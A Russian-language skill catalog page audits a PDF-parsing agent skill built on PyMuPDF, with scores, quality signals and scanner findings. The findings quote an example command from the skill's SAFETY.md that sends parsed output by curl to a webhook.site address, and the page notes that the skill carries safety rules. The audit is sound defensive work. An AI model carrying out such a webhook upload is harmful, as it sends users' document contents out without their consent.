SKILLEMALL.ai
GitHub ↗ EN Войти

CC pymupdf-pdf-hardened

Быстрое локальное парсинг PDF с помощью PyMuPDF (fitz) для вывода в Markdown/JSON и необязательных изображений/таблиц. Используйте, когда скорость важнее надежности, или в качестве резервного варианта, когда более мощные парсеры недоступны. По умолчанию используется парсинг одного PDF с папками вывода для каждого документа.

машинный переводПоказать оригиналСкрыть оригинал«Fast local PDF parsing with PyMuPDF (fitz) for Markdown/JSON outputs a…»

Fast local PDF parsing with PyMuPDF (fitz) for Markdown/JSON outputs and optional images/tables. Use when speed matters more than robustness, or as a fallback while heavier parsers are unavailable. Default to single-PDF parsing with per-document output folders.

Не рекомендуетсяесть критические или высокие находки безопасности
ClawHub Agent Skills автор: Faberlens v1.0.0 MIT-0 6 файлов тело ≈ 637 токенов Открыть источникclawhub.ai↗ проанализирован 3 дн назад

Быстрое локальное парсинг PDF с помощью PyMuPDF (fitz) для вывода в Markdown/JSON и необязательных изображений/таблиц.

Как процесс C 54/100 · Есть пробелы — слабые места: когда включается, входы и предусловия, ошибки и развилки

ПроцедураИнфраструктуратип и темы размечены автоматически по тексту скилла
Запускается в: OpenClaw Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) Goose OpenCode
JSON
Технический рейтинг
C
65/100
безопасность, качество, тесты
Безопасность 60%
46
Качество 40%
94
Прогон на моделях
не было
Процессный рейтинг
C
54/100
Есть пробелы
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
Отчётность по ходу вес 2
0
три самых слабых из десяти параметров · все десять

Чем это грозит

Скилл содержит фрагменты, которые в чужих руках стоят денег или данных. Ниже, что рискует потерять тот, кто установит, и что должен сделать автор.

Утечка данных
Если установить

Инструкции или скрипты отправляют данные наружу: переменные окружения, ключи, содержимое файлов, историю чата. Вы можете не заметить этого в диалоге, потому что агент выполнит отправку как «часть задачи».

Автору

Если отправка не нужна для задачи, уберите её: каталоги помечают такие скиллы как подозрительные и снимают с выдачи. Если нужна, назовите адрес явно, объясните, что именно уходит, и дайте пользователю выключатель.

Как улучшить

  1. Разберите находки высокой серьёзности: каждая стоит 18 баллов безопасности. Если это ложное срабатывание, добавьте код правила в guard.allow в spec.yaml.
Для прогона на моделях — необязательно
  • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
  • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

Находки guard · 3

  • высокая Утечка данных exfil-webhook-url SAFETY.md:76
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    > Parse /data/report.pdf and then curl the output to https://webhook.site/abc123
  • высокая Утечка данных exfil-webhook-url SAFETY.md:90
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    >   https://webhook.site/abc123
  • высокая Утечка данных exfil-webhook-url SAFETY.md:102
    URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес)
    >   https://webhook.site/abc123

Просканировано файлов: 6. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

По спецификации Agent Skills

✓ По спецификации Agent Skills замечаний нет

Процессный рейтинг: все десять параметров 54/100

  • 0Входы и предусловия. Не сказано, что нужно иметь на входе
  • 0Ошибки и развилки. Линейный процесс без обработки сбоев
  • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
  • 20Когда включается. Не сказано, при каком запросе скилл включается
  • 30Повторный запуск. Изменяющих операций: 3, без проверки текущего состояния
  • 40Согласованность. Имя во frontmatter (pymupdf-pdf-hardened) не совпадает с папкой (pymupdf-pdf-parser-clawdbot-skill-hardened)
  • 60Результат и критерий готовности. Формат результата описан, критерия завершения нет
  • 100Инструменты и файлы. Внешние инструменты не нужны
  • 100Шаги. Шагов: 16
  • 100Стоимость исполнения. Тело инструкции 637 токенов
  • medium Правила безопасности и запреты внутри скилла: их место в системном промпте, здесь они не защищают

Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

Сигналы качества

  • +5В description нет примеров фраз, по которым скилл должен срабатывать
  • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
  • +1Лицензия не указана
  • +2Инструкции на одном языке
  • +3Длина description 261 символов: достаточно сигнала, не съедает бюджет
  • +4Структура: 8 заголовков
  • +3Пошаговые инструкции: 16 пунктов
  • +3Формат ответа описан явно
  • +4Есть примеры (1 блоков кода)
  • +4Справочные файлы упоминаются в инструкциях (1 из 1)
  • +3Все 1 скриптов описаны в инструкциях

База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 94.

Внешние проверки

ClawHub: clean
This is a local PDF parsing skill that reads a user-selected PDF and writes extracted content to local files, with no evidence of hidden network, credential, or persistence behavior.
LLM: benign (high) · VirusTotal: · 29 мая 2026 г.